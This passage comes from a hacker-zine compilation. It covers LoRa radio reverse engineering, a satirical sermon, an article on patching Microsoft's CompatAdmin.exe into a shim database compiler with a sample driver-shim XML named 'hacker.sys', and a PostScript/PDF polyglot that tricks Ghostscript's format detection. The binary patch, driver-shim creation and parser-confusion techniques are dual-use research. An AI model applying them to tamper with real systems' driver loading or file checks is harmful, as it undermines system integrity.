suggested by the patent. The next logical step is to attempt to reverse
it.

Within a transmitter, interleaving is often applied after forward
error correction in order to make the packet more resilient to burst
interference. Interleaving scrambles the FEC-encoded bits throughout
the packet so that if interference occurs it is more likely to damage one
bit from many codewords rather than several bits from a single
codeword. The former error scenario would be recoverable through
FEC, the latter would result in unrecoverable data corruption.

Block-based interleavers, like the one described in the patent, are
functionally straightforward. The interleaver itself can be thought of as
a two-dimensional array, where each row is as wide as the number of
bits in each FEC codeword and the number of columns corresponds to
the number of FEC codewords in each interleaver block. The data is



then written in row-wise and read out column-wise; thus the first
output “codeword” is comprised of the LSB (or MSB) of each FEC
codeword. A diagonal interleaver, as suggested in the patent, offsets the
column of the bit being read out as rows are traversed.

Understanding the aforementioned fundamentals of what the
interleaver was likely doing was essential to approaching this challenge.
Ultimately, given that a row-column or row-diagonal relationship
defines most block-based interleavers, I anticipated that patterns that
could be revealed if approached appropriately. Payloads were therefore
constructed to reveal the relationship of each row or codeword with a
corresponding diagonal or column. In order to reveal said mapping,
the Hamming(8,4) codeword for 0xF was leveraged, since it would fill each
row with eight contiguous bits at a time. Payloads consisting of seven
0x0 codewords and one 0xF codeword were generated, with the nybble
position of 0xF iterating through the payload. See Figure 13.14.

As one can see, by visualizing the results as they would be generated
by the block, patterns associated with each codeword’s diagonal
mapping can be identified. The diagonals are arbitrarily offset from the
corresponding row/codeword position. One important oddity to note
is that the most significant bits of each diagonal are flipped.

While we now know how FEC codewords map into block
diagonals, we do not know where each codeword starts and ends within
the diagonals, or how its bits are mapped. The next step is to map the
bit positions of each interleaver diagonal. This is done by transmitting
a known payload comprised of FEC codewords with four set and four
unset bits, then looking for patterns within the expected diagonal.



Figure 13.14: Symbol Tests

Reading out the mapped diagonals results in this table.

  T             Bot

D1 0100001

E 0 1110100

A 0 1011000

D1 0110000

B 1 1000010

E 0 1110100

E 0 1110100

F 1 1111111

While no matches immediately leap off the page, manipulating and
shuffling through the data begins to reveal patterns. First, reverse the
bit order of the extracted codewords.



  B             Top  B             Top

D1 0000101

E 0 0101110

A 0 0011010

D0 0001101

B 0 1000011

E 0 0101110

E 0 0101110

F 1 1111111

And then have a look at the last nybble for each of the highlighted
codewords.

  B             Top

D1 0000 1 0 1

E 0 0101110

A 0 0011010

D0 0001101

B 0 1000 0 1 1

E 0 0101110

E 0 0101110

F 1 1111111

Six of the eight diagonals resemble the data embedded into each of
the expected FEC encoded codewords! As for the first and fifth
codewords, it is possible they were damaged during transmission, or
that the derived whitening sequence used for those positions is not
exact. That is where FEC proves its mettle, as applying Hamming(8,4) FEC
would repair any single bit errors that occurred in transmission. The
Hamming parity bits that are expected with each codeword are



calculated using the Hamming FEC algorithm, or can be looked up for
standard schemes like Hamming(7,4) or Hamming(8,4).

While the most standard Hamming(8,4) bit order is: p1, p2, d1, p3, d2,
d3, d4, p4 (where p are parity bits and d are data bits), after recognizing
the above data values we can infer that the parity bits are in a
nonstandard order. Looking at the diagonal codeword table and the
expected Hamming(8,4) encodings together, we can map the actual bit
positions:

  Bot
p1 p2p4p3d1d2d3

Top
d4

D1 0 0 0 0 1 0 1

E 0 0 1 0 1 1 1 0

A 0 0 0 1 1 0 1 0

D0 0 0 0 1 1 0 1

B 0 1 0 0 0 0 1 1

E 0 0 1 0 1 1 1 0

E 0 0 1 0 1 1 1 0

F 1 1 1 1 1 1 1 1

Note that parity bits three and four are swapped. With that
resolved, we can use the parity bits to decode the forward error
correction, resulting in four bits being corrected, as shown in Figure
13.15. That’s LoRa!



Having reversed the protocol, it is important to look back and
reflect on how and why this worked. As it turned out, being able to
make assumptions and inferences about certain goings-on was crucial
for bounding the problem and iteratively verifying components and
solving for unknowns. Recall that by effectively canceling out
interleaving and forward error correction, I was able to effectively split
the problem in two. This enabled me to solve for whitening, even
though “gray indexing” was unknown there were only three
permutations, and with that in hand, I was able to solve for the
interleaver, since FEC was understood to some extent. Just like algebra
or any other scientific inquiry, it comes down to controlling your
variables. By stepping through the problem methodically and making
the right inferences, we were able to reduce four independent variables
to one, solve for it, and then plug that back in and solve for the rest.

Figure 13.15: Forward Error Corrected bits shown in bold

Remaining Work

This paper presents a comprehensive description of the PHY, but there
are a few pieces that will be filled in over time.

The LoRa PHY contains an optional header with its own
checksum. I have not yet reversed the header, and the Microchip LoRa
module I’ve used to generate LoRa traffic does not expose the option of
disabling the header. Thus I cannot zero those bits out to calculate the



whitening sequence applied to it. It should be straightforward to fill in
with the correct hardware in hand.

The PHY header and service data unit/payload CRCs have not
been investigated for the same reason. This should be easy to resolve
through the use of a tool like CRC RevEng once the header is known.

In my experience, for demodulation purposes clock recovery has
not been necessary beyond getting an accurate initial sync on the SFD.
However should clock drift pose a problem, for example if transmitting
longer messages or using higher spreading factors which have slower



data rates/longer over-the-air transmission times, clock recovery may
be desirable.

I recently published an open source GNU Radio OOT module that
implements a transceiver based on this derived version of the LoRa
PHY. It is presented to empower RF and security researchers to

investigate this nascent protocol.29

Conclusions and Key Takeaways

Presented here is the process that resulted in a comprehensive de-
construction of the LoRa PHY layer, and the details one would need to
implement the protocol. Beyond that, however, is a testament to the
challenges posed by red herrings (or three of them, all at once)
encountered throughout the reverse engineering process. While open
source intelligence and documentation can be a boon to researchers—
and make no mistake, it was enormously helpful in debunking LoRa—
one must remember that even the most authentic sources may
sometimes lie!

Another point to take away from this is the importance of bounding
problems as you solve them, including through making informed
inferences in the absence of perfect information. This of course must
be balanced with the first point about OSINT, is knowing when to
walk away from a source. However as illustrated above, drawing
appropriate conclusions proved integral to reducing and solving for
each of the decoding elements within a black-box methodology.

The final thought I will leave you with is that wireless doesn’t just
mean Wi-Fi anymore; it includes cellular, PANs, LPWANs, and
everything in between. Monitor mode and Wireshark weren’t always a
thing, so don’t take them for granted: it’s time to make the next
generation of wireless networks visible to researchers, because know it
or not it is already here and is here to stay.



13:8 Plumbing, not Popper; or, The Problem with
STEP

by Pastor Manul Laphroaig



Gather round, neighbors. We are going to a magical place. One
that we hardly ever notice in our busy lives, but which has a way of
taking over your entire day when you are forced to visit it. We are

going on a trip to the plumbing closet!30

Look at the miracle that is the clump of pipes, looking right back at
you. Its message is clear: do not approach without skill, unless you like wet

messes. This message is universal: it speaks to a politician, a professor, a
columnist, an actor, and a hedge fund manager alike. It transcends
languages and beliefs.

Even though these worthies and civic leaders might agree the
country could use more plumbers, it has not yet occurred to them to
approach the problem by putting a big P into some popular slogan like
“STEP” (Science, Technology, Engineering, Plumbing), by setting up a
federal Department of Plumbing, or by lionizing a professional TV
personality who goes by “A Plumbing Guy,” despite never having fixed
a pipe in his life.

They somehow know that these things will do diddly squat to
address the shortage of plumbers. They know deep down that to learn
plumbing—and even to not sound ridiculous about it—one needs to
study with a plumber, attach oneself to a plumber, and do what a
plumber does for a while. This, neighbors, is how deep the plumbing
magic goes.

Science, alas, has not been so lucky.





It is fashionable to talk about how we need more scientists, and how
we can direct and improve science, quoting grand theories that explain
science, while similarly educated people nod approvingly. After all,
they all know what science is, as befits all forward-thinking people
these days. No one feels awkward; everyone feels good.

Perhaps this happens because our social betters all experienced
helplessness at the sight of broken plumbing, but would not recognize
broken science, much less a hopelessly broken science textbook. You
see, science lab equipment is OK with a patronizing, self-satisfied gaze,
whereas plumbing has a way of glaring back contemptuously, daring
you to use your general theoretical understanding.

With plumbing, it’s either practical skill or a huge mess in your
basement. Messing with how plumbers learn and teach this skill
guarantees messes in thousands of basements. If you value your
plumbing, it’s wise to leave plumbers alone even if you believe every
word of every newspaper column you’ve ever read on plumbing
economy.

It may be a surprise to the readers of Karl Popper and Imre Lakatos
that actual scientists are helped by philosophy of science in exactly the

same way as plumbers are helped by the Zen of Plumbing.31 Although
these very same people are likely to believe they understand plumbing



too, they usually have the sense to leave the plumbing profession well
alone, and not apply their philosophical understandings to it—being
empirically familiar with the fact that when you need plumbing done,
philosophy is useless; only skill stands between the water in your pipes
and your expensive library.

By far the worst hit to a profession is delivered when a part of the
professionals actually welcomes philosophers lauding it, politicians
bearing gifts and grants, and governments setting up departments to
promote it. Forms to fill, ever-growing grant application paperwork,
pervasive “performance metrics,” and having to explain basic fallacies
to the well-meaning but fundamentally ignorant and hugely powerful
committees come later—and accumulate. In the context of metrics,
charlatans always win, because they don’t get distracted by trying for
actual results.

Not to mention that the money that goes to charlatans is not net-
neutral for actual plumbing (or science); it is net-negative, because
charlatans have a way of making the lives of professionals hard where it
hurts the most. When Tim “the Tool Man” Taylor waves power tools
around with a swagger, the results are immediate and obvious. When
learned committees do the professional equivalent thereof to math
textbooks and call it nice names like “Discovery Math,” “Common
Core,” or “Critical Thinking” it takes a generation to notice, and then
we wonder—how on earth did school math become unteachable and

unlearnable?32

Plumbers have wisely avoided it, perhaps due to some secret
wisdom passed from master to apprentice through the ages. Scientists, I
am sorry to say, walked right into it around the middle of the twentieth
century.

Sure enough, national agencies got us to the moon—but it seems
that all the good science schoolbooks have been put on the rockets
going there, never to return. Have you met many scientists who are
happy with what schools do to their sciences after half a century of
being improved by various government offices?



Funny how it worked out for scientists. Now hear them complain
about “publish or perish,” the rapidly rising age at which one finally
succeeds in getting one’s first grant, and the relentless race to rebrand

and follow the current big-ticket grant programs.33

But don’t blame them, neighbors; it was their advisors or their
advisors’ advisors who fell for it. Better to buy them a drink, and
remember their lesson.

Better yet, find some plumbers, and buy them drinks. Perhaps
they’ll share with you some of their secrets of how to keep the
philosophers and their educated and benevolent readers interested in
the result, but at a safe distance from the actual plumbing.

13:9 Where is ShimDBC.exe?

by Geoff Chappell

Microsoft’s Shim Database Compiler might be a legend ... except
that nobody seems ever to have made any story of it. It might be
mythical ... except that it actually does exist. Indeed, it has been around

for fifteen years in more or less plain sight. Yet if you ask Google to



search the Internet for occurrences of shimdbc, and especially for
“shimdbc.exe” in quotes, you get either remarkably little or a tantalising
hint, depending on your perspective.

Mostly, you get those scam sites that have prepared a page for
seemingly every executable that has ever existed and can fix it for you if
only you will please download their repair tool. But amongst this dross
is a page from Microsoft’s TechNet site. Google excerpts that
“QFixApp uses the support utility ShimDBC.exe to test the group of
selected fixes.” Follow the link and you get to one of those relatively
extensive pages that Microsoft sometimes writes to sketch a new feature
for system administrators and advanced users, if not also to pat
themselves on the back for the great new work. This page from 2001 is

titled Windows XP Application Compatibility Technologies.34

Application Compatibility?

There can’t be anything more boring in the whole of Windows, you
may think. I certainly used to, and might still for applications if I cared
enough, but Windows 8 brought Application Compatibility to kernel

mode in a whole new way, and this I do care about.



The integrity of any kernel-mode driver that you or I write
nowadays depends on what anyone else, well-meaning or not, can get
into the DRVMAIN.SDB file in the AppPatch subdirectory of the Windows
installation. This particular Shim Database file exists in earlier
Windows versions too, but only to list drivers that the kernel is not to
load. If you’re the writer of a driver, there’s nothing you can do at run-
time about your driver being blocked from loading, and in some sense
you’re not even affected: you’re not loaded and that’s that. Starting
with Windows 8, however, the DRVMAIN.SDB file defines the installed shim
providers and either the registry or the file can associate your driver
with one or more of these defined shim providers. When your driver
gets loaded, the applicable shim providers get loaded too, if they are
not already, and before long your driver’s image in memory has been
patched, both for how it calls out through its Import Address Table
and how it gets called, e.g., to handle I/O requests.



In this brave new world, is your driver really your driver? You
might hope that Microsoft would at least give you the tools to find out,
if only so that you can establish that a reported problem with your
driver really is with your driver. After all, for the analogous shimming,
patching, and whatever of applications, Microsoft has long provided an
Application Compatibility Toolkit (ACT), recently re-branded as the
Windows Assessment and Deployment Kit (ADK). The plausible
thoroughness of this kit’s Compatibility Administrator in presenting a
tree view of the details is much of the reason that I, for one, regarded
the topic as offering, at best, slim pickings for research. For the driver
database, however, this kit does nothing—well, except to leave me
thinking that the SDB file format and the API support through which
SDB files get interpreted, created, and might be edited, are now
questions I should want to answer for myself rather than imagine
they’ve already been answered well by whoever managed somehow to
care about Application Compatibility all along.

The SDB File Format

Relax! I’m not taking you to the depths of Application Compatibility,
not even just for what’s specific to driver shims. Our topic here is
reverse engineering. Now that you know what these SDB files are and
why we might care to know what’s in them, I expect that if you have no
interest at all in Application Compatibility, you can treat this part of
this article as using SDB files just as an example for some general
concerns about how we present reverse-engineered file formats. (And
please don’t skip ahead, but I promise that the final part is pretty much
nothing but ugly hackery.)

Let’s work even more specifically with just one example of an SDB
file, shown in Figure 13.16. It’s a little long, despite being nearly
minimal. It defines one driver shim but no drivers to which this shim is
to be applied.

Although Microsoft has not documented the SDB file format,

Microsoft has documented a selection of API functions that work with



SDB files, which is in some ways preferable. Perhaps by looking at
these functions researchers and reverse engineers have come to know at
least something of the file format, as evidenced by various tools they
have published which interpret SDB files one way or another, typically
as XML.

As a rough summary, an SDB file has a 3-dword header, for a major
version, minor version, and signature, and the rest of the file is a list of
variable-size tags which each have three parts:

1. a 16-bit TAG, whose numerical value tells of the tag’s type and
purpose;

2. a size in bytes, which can be given explicitly as a dword or may be
implied by the high four bits of the TAG;



Figure 13.16: ShimDB File

3. and then that many bytes of data, whose interpretation depends on
the TAG.

Importantly for the power of the file format, the data for some tags
(the ones whose high four bits are 7) is itself a list of tags. From this
summary and a few details about the recognised TAG values, the implied
sizes and the general interpretation of the data, e.g., as word, dword,

binary, or Unicode string—all of which can be gleaned from
Microsoft’s admittedly terse documentation of those API functions—
you might think to reorganise the raw dump so that it retains every
byte but more conveniently shows the hierarchy of tags, each with their
TAG and size if explicit or data if present. A decoding of Figure 13.16 is
shown in Figure 13.17.

To manually verify that everything in the file is exactly as it should
be, there is perhaps no better representation to work from than one
that retains every byte. In practice, though, you’ll want some
interpretation. Indeed, the dump above does this already for the tags
whose high four bits are 6. The data for any such tag is a string
reference, specifically the offset of a 0x8801 tag within the 0x7801 tag (at
offset 0x0142 in this example), and an automated dump can save you a
little trouble by showing the offset’s conversion to the string. Since
those numbers for tags soon become tedious, you may prefer to name
them. The names that Microsoft uses in its programming are
documented for the hundred or so tags that were defined ten years ago
for Windows Vista. All tags, documented or not (and now running to
260), have friendly names that can be obtained from the API function
SdbTagToString. If you haven’t suspected all along that Microsoft prepares
SDB files from XML input, then you’ll likely take “tag” as a hint to
represent an SDB file’s tags as XML tags. And this, give or take, is
where some of the dumping tools you can find on the Internet leave
things, such as in Figure 13.18.





Figure 13.17: ShimDB File (Decoded from Figure 13.16)

Notice already that choices are made about what to show and how.
If you don’t show the offset in bytes that each XML tag has as an SDB
tag in the original SDB file, then you risk complicating your
presentation of data, as with the string references, whose interpretation
depends on those file offsets. But show the offsets and your XML
quickly looks messy. Once your editorial choices go so far that you
don’t reproduce every byte but instead build more and more
interpretation into the XML, why show every tag? Notably, the string
table that’s the data for tag 0x7801 (TAG_STRINGTABLE) and the indexes that are



the data for tag 0x7802 (TAG_INDEXES) must be generated automatically from
the data for tag 0x7001 (TAG_DATABASE) such that the last may be all you want
to bother with. Observe that for any tag that has children, the subtags
that don’t have children come first, and perhaps you’ll plumb for a
different style of XML in which each tag that has no child tags is
represented as an attribute and value, e.g.,

Whether you choose XML in this style or to have every tag’s data
between opening and closing tags, there are any number of ways to
represent the data for each tag. For instance, once you know that the
binary data for tag 0x9007 (TAG_DATABASE_ID) or tag 0x9010 (TAG_FIX_ID) is always
a GUID, you might more conveniently represent it in the usual string
form. Instead of showing the data for tag 0x5001 (TAG_TIME) as a raw qword,
why not show that you know it’s a Windows FILETIME and present it as
16/09/2016 23:15:37.944? Or, on the grounds that it too must be
generated automatically, you might decide not to show it at all!



Figure 13.18: Illegible XML from a ShimDB Dumping Tool

If I labour the presentation, it’s to make the point that what’s
produced by any number of dumping tools inevitably varies according
to purpose and taste. Let’s say a hundred researchers want a tool for the
easy reading of SDB files. Yes, that’s doubtful, but 100 is a good round
number. Then ninety will try to crib code from someone else—
because, you know, who wants to reinvent the wheel—and what you get
from the others will each be different, possibly very different, not just
for its output but especially for what the source code shows of the file



format. Worse, because nine out of ten programmers don’t bother
much with commenting, even for a tool they may intend as showing off
their coding skills, you may have to pick through the source code to
extract the file format. That may be easier than reverse-engineering
Microsoft’s binaries that work with the file, but not necessarily by
much—and not necessarily leaving you with the same confidence that
what you’ve learnt about the file format is correct and comprehensive.
Writing a tool that dumps an undocumented file format may be more
rewarding for you as a programmer but it is not nearly the same as
documenting the file format.

Reversing XML to SDB

But is there really no definitive XML for representing SDB files? Of all
the purposes that motivate anyone to work with SDB files closely
enough to need to know the file format, one has special standing:
Microsoft’s creation of SDB files from XML input. If we had
Microsoft’s tool for that, then wouldn’t most researchers plumb for
reversing its work to recover the XML source? After all, most reverse
engineers and certainly the popular reverse-engineering tools don’t take
binary code and unassemble it just to what you see in the debugger.

No, they disassemble it into assembly language that can be edited
and re-assembled. Many go further and try to decompile it into C or
C++ that can be edited and re-compiled, even if it doesn’t look remotely
like anything you’d be pleased to have from a human programmer. In
this context, the SDB to XML conversion to want is something you
could feed to Microsoft’s Shim Database Compiler for compilation
back to SDB. Anything else is pseudo-code. It may be fine in its way for
understanding the content, and some may prefer it to a raw dump
interpreted with reference to documentation of the file format, but
however widely it gets accepted it is nonetheless pseudo-code.

The existence of something that someone at Microsoft refers to as a
Shim Database Compiler has been known for at least a decade because
Microsoft’s documentation of tag 0x6022 (TAG_-COMPILER_VERSION), apparently



contemporaneous with Windows Vista, describes this tag’s data as the
“Shim Database Compiler version.” And what, then, is the ShimDBC.exe
from the even older TechNet article if it’s not this Shim Database
Compiler?

But has anyone outside Microsoft ever seen this compiler? Dig out
an installation disc for Windows XP from 2001, look in the Support
Tools directory, install the ACT version 2.0 from its self-extracting
executable, and perhaps install the Support Tools too in case that’s
what the TechNet article means by “support utility.” For your troubles,
which may include having to install Windows XP, you’ll get the
article’s QFixApp.exe, and the Compatibility Administrator, as
CompatAdmin.exe, and some other possibly useful or at least instructive tools
such as GrabMI.exe, but you don’t get any file named ShimDBC.exe. I suspect
that ShimDBC.exe never has existed in public as any sort of self-standing
utility or even as its own file. Even if it did once upon a time, we should
want a modern version that knows the modern tags such as 0x7025
(TAG_KSHIM) for defining driver shims.

For some good news, look into either QFixApp.exe or CompatAdmin.exe
using whatever is your tool of choice for inspecting executables. Inside
each, not as resources but intermingled with the code and data, are
several instances of ShimDBC as text. We’ve had Microsoft’s Shim
Database Compiler for 15 years since the release of Windows XP. All
along, the code and data for the console program ShimDBC.exe, from its
wmain function inwards, has been linked into the GUI programs
QFixApp.exe and CompatAdmin.exe, of which only the latter survives to modern
versions of the ACT. Each of the GUI programs has a WinMain function
that’s first to execute after the C Run-Time (CRT) initialisation.
Whenever either of the GUI programs wants to create an SDB file, it
composes the Unicode text of a command line for the fake ShimDBC.exe
and calls a routine that first parses this into the argc and argv that are
expected for a wmain function and which then simply calls the wmain
function. Where the TechNet article says QFixApp uses ShimDBC.exe, it is
correct, but it doesn’t mean that QFixApp executes ShimDBC.exe as a



separate program, more that QFixApp simulates such execution from
the ShimDBC code and data that’s built in.

Unfortunately, CompatAdmin does not provide, even in secret, for
passing a command line of our choice through WinMain to wmain. But,
c’mon, we’re hackers. You’ll already be ahead of me: we can patch the
file. Make a copy of CompatAdmin.exe as ShimDBC.exe, and use your favourite
debugger or disassembler to find three things.

1. The program’s WinMain function;

2. the routine the program passes the fake command line to for
parsing and for calling wmain; and,

3. the address of the Import Address Table entry for calling the
GetCommandLineW function.

Ideally, you might simply assemble something like the following
over the very start of WinMain.

call    dword ptr [__imp__GetCommandLineW@0]
mov     ecx,eax
call    SimulateShimDBCExecution
ret     10h

In practice, you have to allow for relocations. Our indirect call to
GetCommandLineW will need a fixup if the program doesn’t get loaded at its
preferred address. Worse, if we overwrite any fixup sites in WinMain, then
our code will get corrupted if fixups get applied. But these are small
chores that are bread and butter for practised reverse engineers. For
concreteness, I give the patch details for the 32-bit CompatAdmin.exe from
the ACT version 6.1 for Windows 8.1 in Table 13.2.

For hardly any trouble, we get an executable that still contains all
its GUI material (except for the seventeen bytes we’ve changed) but
never executes it and instead runs the console-application code with
the command line that we give when running the patched program.
Microsoft surely has ShimDBC.exe as a self-standing console application,
but what we get from patching CompatAdmin.exe must be close to the next



best thing, certainly for so little effort. It’s still a GUI program,
however, so to see what it writes to standard output we must explicitly
give it a standard output. At a Command Prompt with administrative
privilege, enter shimdbc -? >help.txt to get the built-in ShimDBC
program’s mostly accurate description of its command-line syntax,
including most of the recognised command-line options.

OFFSET ORIGINAL PATCHED REMARKS

0x2FB54 8B FF EB 08 Jump to ins. that will use existing
fixup site.

0x2FB56 55    

0x2FB57 8B EC    

0x2FB59 81 EC 88 05 00

00

   

0x2FB5E   FF 15 D0 30 49

00

Use existing fixup site at offset
0x2FB60

0x2FB5F A1 00 60 48 00    

0x2FB64 33 C5 8B C8  

0x2FB66 89 45 FC E8 55 87 01 00 No fixup required for this direct call.

0x2FB69 8B 45 08    

0x2FB6B   C2 10 00  

0x2FB6C 53    

0x2FB6D 56    

Table 13.2: Patch details for 32-bit CompatAdmin.exe from ACT 6.1 for
Windows 8.1.

To produce the SDB file that is this article’s example, write the
following as a Unicode text file named test.xml:

<?xml version="1.0" encoding="UTF–16" ?>
<DATABASE NAME="Hacked Driver Database"
          ID="{F9AB2228–3312–4A73–B6F9–936D70E112EF} ">
  <LIBRARY>



    <KSHIM NAME=" Hacker " FILE=" hacker.sys " ONDEMAND="YES"
     ID="{919CE4C8–D069–4521–A545–0132B06394ED} " LOGO="YES" />
  </LIBRARY>
</DATABASE>

and feed it to the compiler via the command line

shimdbc Driver test.xml test.sdb >test.txt

I may be alone in this, but if you’re going to tell me that I should
know that you know the SDB file format when all you have to show is a
tool that converts SDB to XML, then this would better be the XML
that your tool produces from this article’s example of an SDB file.
Otherwise, as far as I’m concerned for studying any SDB file, I’m better
off with a raw dump in combination with actual documentation of the
file format.

Do not let it go unnoticed, though, that the XML that works for
Microsoft’s ShimDBC needs attributes that differ from the
programmatic names that Microsoft has documented for the tags or
the friendly names that can be obtained from the SdbTagTo-String function.
For instance, the 0x6003 tag (TAG_MODULE) is compiled from an attribute
named not MODULE but FILE. The 0x4017 tag (TAG_FLAGS) is synthesised from
two attributes. Even harder to have guessed is that a LIBRARY tag is
needed in the XML but does not show at all in the SDB file, i.e., as a

tag 0x7002 (TAG_LIBRARY). So, to know what XML is acceptable to
Microsoft’s compiler for creating an SDB file, you’ll have to reverse-
engineer the compiler or do a lot of inspired guesswork.

Happy hunting!



13:10 Post Scriptum: A Schizophrenic Ghost

by Evan Sultanik and Philippe Teuwen

A while back, we asked ourselves,

What if PoCǁGTFO had completely different content

depending on whether the file was rendered by a PDF viewer
versus being sent to a printer?

A PostScript/PDF polyglot seemed inevitable. We had already done
MBR, ISO, TrueCrypt, HTML, Ruby, ... Surely PostScript would be
simple, right? As it turns out, it’s actually quite tricky.



$ gv pocorgtfo13.pdf

There were two new challenges in getting this polyglot to work:

1. The PDF format is a subset of the PostScript language, meaning

that we needed to devise a way to get a PDF interpreter to ignore
the PostScript code, and vice versa; and

2. It’s almost impossible to find a PostScript interpreter that doesn’t
also support PDF. Ghostscript is nearly ubiquitous in its use as a

backend library for desktop PostScript viewers (e.g., Ghostview),

and it has PDF support, too. Furthermore, it doesn’t have any
configuration parameters to force it to use a specific format, so we
needed a way to force Ghostscript to always interpret the polyglot

as if it were PostScript.

To overcome the first challenge, we used a similar technique to the
Ruby polyglot from pocorgtfo11.pdf, in which the PDF header is
embedded into a multi-line string (delimited by parenthesis in
PostScript), so that it doesn’t get interpreted as PostScript commands.
We halt the PostScript interpreter at the end of the PostScript content
by using the handy stop command following the standard %%EOF
“Document Structuring Conventions” (DSC) directive.



This works, in that it produces a file that is both a completely valid

PDF as well as a completely valid PostScript program. The trouble is

that Adobe seems to have blacklisted any PDF that starts with an
opening parenthesis. We resolved this by wrapping the multi-line
string containing the PDF header into a PostScript function we called
/pdfheader.

The trick of starting the file with a PostScript function worked, and
the PDF could be viewed in Adobe. That still leaves the second
challenge, though: We needed a way to trick Ghostscript into being
“schizophrenic” (cf. PoCǁGTFO 7:6), vi&., to insert a parser-specific

inconsistency into the polyglot that would force Ghostscript into
thinking it is PostScript.



Ghostscript’s logic for auto-detecting file types seems to be in the
dsc_scan_type function inside /psi/dscparse.c. It is quite complex, since this
single function must differentiate between seven different filetypes,
including DSC/PostScript and PDF. It classifies a file as a PDF if it
contains a line starting with “%PDF-”, and PostScript if it contains a line

starting with “%!PS-Adobe”. Therefore, if we put  anywhere
before %PDF-1.5, then Ghostscript should be tricked into thinking it is
PostScript! The only caveat is that Adobe blacklists any PDF that
starts with “%!PS-Adobe”, so it can’t be at the beginning of the file, where it
typically occurs in DSC files. But that’s okay, because Ghostscript only
needs it to occur before the %PDF-1.5, regardless of where.
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language for the TEX document preparation system. The primary
typefaces used in this bible are from the Computer Modern family,
created by Donald Knuth in METAFONT. The æsthetics of this book
are attributable to these excellent tools.

This bible contains one hundred ninety-one thousand eight hundred
forty-seven words and one million fourteen thousand seven hundred
fifty-seven characters, including those of this sentence.



Footnotes

Introduction

1 PoCǁGTFO 9:3 on page 20.
2 PoCǁGTFO 9:9 on page 71.
3 PoCǁGTFO 12:3 on page 437.
4 PoCǁGTFO 13:7 on page 702.
5 PoCǁGTFO 9:10 on page 84.
6 PoCǁGTFO 10:7 on page 220 and PoCǁGTFO 11:5 on page 374.
7 PoCǁGTFO 13:2 on page 604.
8 PoCǁGTFO 10:8 on page 311.
9 PoCǁGTFO 13:5 on page 676.

10 PoCǁGTFO 9:4 on page 31.
11 PoCǁGTFO 12:8 on page 553.
12 PoCǁGTFO 13:4 on page 659.
13 PoCǁGTFO 9:12 on page 128.
14 PoCǁGTFO 10:4 on page 190.
15 PoCǁGTFO 11:9 on page 415.
16 PoCǁGTFO 12:11 on page 593.

9 Elegies of the Second Crypto War

1 Whether one actually understands them or not—and, if you value
your sanity, do not try to find if your physics teachers actually
understand them either. You have been warned.

2 Not that stationary steam engines were weaklings either: driving
ironworks and mining pumps takes a lot of horses.



3 Typically, a priest of a religion that involves central planning and
state-run science. This time they’ll get it right, never fear!

4 The question of whether that which is not power is still knowledge
is best left to philosophers. One can blame Nasir al-Din al-Tusi
for explaining the value of Astrology to Khan Hulagu by dumping
a cauldron down the side of a mountain to wake up the Khan’s
troops and then explaining that those who knew the causes above
remained calm while those who didn’t whirled in confusion below
—but one can hardly deny that being able to convince a Khan was,
in fact, power. Not to mention his horde. Because a Khan, by
definition, has a very convincing comeback for “Yeah? You and
what horde?”

5 And some of these papers were true Phrack-like gems that, true to
the old-timey tradition, explained and exposed surprising depths
of common mechanisms: see, for example, SROP and COOP.

6 While, for example, products of the modern web development
“revolution” already do, despite being much less complex than a
CPU.

7 “Are Simplex Messages Secure,” GlobalStar Product Support, Feb.
2009.

8 DSSS theory shows us that DSSS is the same as BPSK for a BPSK
data signal.

9 git clone https://github.com/synack/globalstar unzip pocorgtfo09.pdf
globalstar.tar.bz2

10 http://www.k33nteam.org/noks.html
11 http://j00ru.vexillium.org/dump/recon2015.pdf
12 Intro to Windows Kernel Security Research by T. Ormandy, May

2013.
13 This Time Font Hunt You Down in 4 Bytes, Peter Hlavaty and Jihui

Lu, Recon 2015
14 Sheep Year Kernel Heap Fengshui: Spraying in the Big Kids’ Pool, Alex

Ionescu, Dec 2014



15 Windows 8 Heap Internals presentation.
16 SLUB, the unqueued slab allocator, has been the default since Linux

2.6.23.
17 SPLICE When Something is Overflowing by Peter Hlavaty, Confidence

2015
18 ret2dir: Rethinking Kernel Isolation by Kemerlis, Polychronakis, and

Keromytis
19 Universal Android Rooting is Back! by Wen Xu, BHUSA 2015 unzip

pocorgtfo09.pdf bhusa15wenxu.pdf

20 unzip pocorgtfo09.pdf uhc-subs.tar.xz
21 FLUSH+RELOAD: a High Resolution, Low Noise, L3 Cache Side-

Channel Attack by Yarom and Falkner from USENIX Security 2014
22 Cross-Tenant Side-Channel Attacks in PaaS Clouds by Zhang et al at

ACM CCS 2014
23 Whispers in the Hyper-space: High-speed Covert Channel Attacks in the

Cloud by Wu, Xu, and Wang at USENIX Security 2012
24 Weak vs. Strong Memory Models from Preshing on Programming
25 unzip pocorgtfo09.pdf crossvm.pdf
26 git clone https://github.com/BinaryBrewWorks/Beer unzip pocorgtfo09.pdf beer.zip
27 jt65stego by Drapeau (KA1OVM) and Dukes, 2014
28 This is the exact opposite of your WiFi, where every data frame is

acknowledged, and no more data is sent unless either the ACK
arrives or a timeout is reached.

29 unzip pocorgtfo09.pdf aprsl01.pdf
30 Don’t do this. Acting like an asshole on the radio is the surest way to

convince a brilliant RF engineer to spend his retirement hunting
you down.

31 In Heinlein’s “Between the planets,” 1951, the same celestial path of the

Circum-Terra station is used for a much less benign purpose: worldwide

delivery of nukes. That book also introduced the idea of stealth technology



vehicle with a radar-reflecting surface, long before any scientific publications

on the subject. —PML
32 unzip pocorgtfo09.pdf encham.html #Encryption and Amateur Radio by KD0LIX
33 unzip pocorgtfo09.pdf part97.pdf
34 Also note §97.217: Telemetry transmitted by an amateur station on or

within 50 km of the Earth’s surface is not considered to be codes or ciphers

intended to obscure the meaning of communications.
35 Yes, this is the one thing all instruction manuals tell you never to do.
36 Mechanical parts = 4600, set of ICs = 6500, 3250 import fees, housing

and passive components = 1200 dinars.
37 Sorry Spectrum and ZX 81 owners!
38 Why the fifth? Well, because this special edition doesn’t reach all the

kiosks at the same time. We wish, therefore, all the readers to have
the same chances.

39 This is not a mistake, two different MIPRO companies are helping
our action!

40 http://en.true-audio.com/TTA_Lossless_Audio_Codec_-_Format_Description
41 http://wiki.hydrogenaud.io/index.php?title=APEv2_specification
42 http://www.wavpack.com/file_format.txt
43 http://www.vecteezy.com/people/23511-marilyn-monroe-vector

10 The Theater of Literate Disassembly

1 unzip pocorgtfo10.pdf adventure.pdf
2 http://tasvideos.org
3 It should also be noted that all recent AGDQ events have directly

benefited the Prevent Cancer Foundation which was a huge
motivator for several of us who worked on this project. The block
we presented this exploit in at AGDQ 2015 helped raise over $50K
